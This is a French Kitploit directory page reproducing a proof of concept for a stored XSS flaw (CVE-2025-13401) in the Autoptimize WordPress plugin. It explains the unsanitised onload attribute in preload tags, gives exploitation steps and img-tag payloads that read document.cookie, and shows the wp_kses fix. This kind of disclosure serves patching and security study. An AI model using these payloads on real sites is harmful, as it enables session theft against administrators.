Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-13401-XSS-Stored — Preuve de concept pour XSS stockée authentifiée dans Autoptimize < 3.1.14, exploitant une désinfection insuffisante des attributs dans la génération de balises de préchargement d'images. | Kitploit
Outils/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Preuve de concept pour XSS stockée authentifiée dans Autoptimize < 3.1.14, exploitant une désinfection insuffisante des attributs dans la génération de balises de préchargement d'images.

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de Concept : XSS Stocké dans Autoptimize < 3.1.14

Vulnérabilité : Cross-Site Scripting (XSS) Stocké Authentifié (Contributeur+) Version affectée : Autoptimize <= 3.1.13 Version corrigée : Autoptimize 3.1.14 Fichier : classes/autoptimizeImages.php

Description

La vulnérabilité se trouve dans la méthode create_img_preload_tag() du fichier classes/autoptimizeImages.php. Cette fonction est responsable de la génération de balises <link rel="preload"> pour les images trouvées dans le contenu lorsque l'optimisation ou le préchargement des images est activé.

Dans la version 3.1.13, la fonction utilise une approche de « liste noire » (via preg_replace) pour supprimer des attributs spécifiques comme title, alt, , , et de la balise `` d'origine avant de la convertir en balise . Cependant, elle ne supprime pas les attributs de gestion d'événements tels que ou .

class
id
width
height
<link>
onload
onerror

Un attaquant authentifié (avec au moins le rôle de Contributeur) peut intégrer une balise `` malveillante dans un article. Lorsque le plugin traite cet article pour générer des liens de préchargement, le gestionnaire d'événements malveillant est conservé et injecté dans le <head> de la page à l'intérieur d'une balise <link>. Comme <link rel="preload"> supporte l'événement onload, le JavaScript s'exécute lorsque la ressource est chargée.

Code vulnérable (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

Étapes de la Preuve de Concept

Prérequis

  1. Installez Autoptimize en version 3.1.13.
  2. Activez « Optimiser les images » ou assurez-vous que le préchargement des images est actif (par exemple, via « Précharger des requêtes spécifiques » ou les comportements par défaut agissant sur les images).
    • Remarque : La fonction vulnérable create_img_preload_tag est souvent déclenchée pour les images détectées dans la zone d'affichage ou explicitement préchargées.

Payload

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

Exploitation

  1. Connectez-vous en tant qu'utilisateur avec le rôle Contributeur (ou supérieur).
  2. Créez un nouvel article.
  3. Injectez la payload dans le contenu de l'article (en utilisant le bloc HTML personnalisé ou l'éditeur de code).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (L'utilisation d'une ressource locale garantit souvent que l'événement de chargement se déclenche rapidement. N'importe quelle URL d'image valide fonctionne.)
  4. Enregistrez l'article.
  5. Attendez qu'un administrateur consulte l'article (ou consultez-le vous-même).
  6. Le plugin Autoptimize analysera la balise ``.
  7. Il générera un lien de préchargement dans le code source HTML :
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    Remarque : Les attributs width, height, etc. peuvent être supprimés, mais onload reste.
  8. Le navigateur analyse la balise <link>, précharge la ressource et déclenche l'événement onload, exécutant ainsi le XSS.

Correctif dans la v3.1.14

Le correctif remplace l'expression régulière de liste noire par wp_kses(), permettant une liste blanche stricte des attributs autorisés pour la balise <link> générée.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
Télécharger l’outil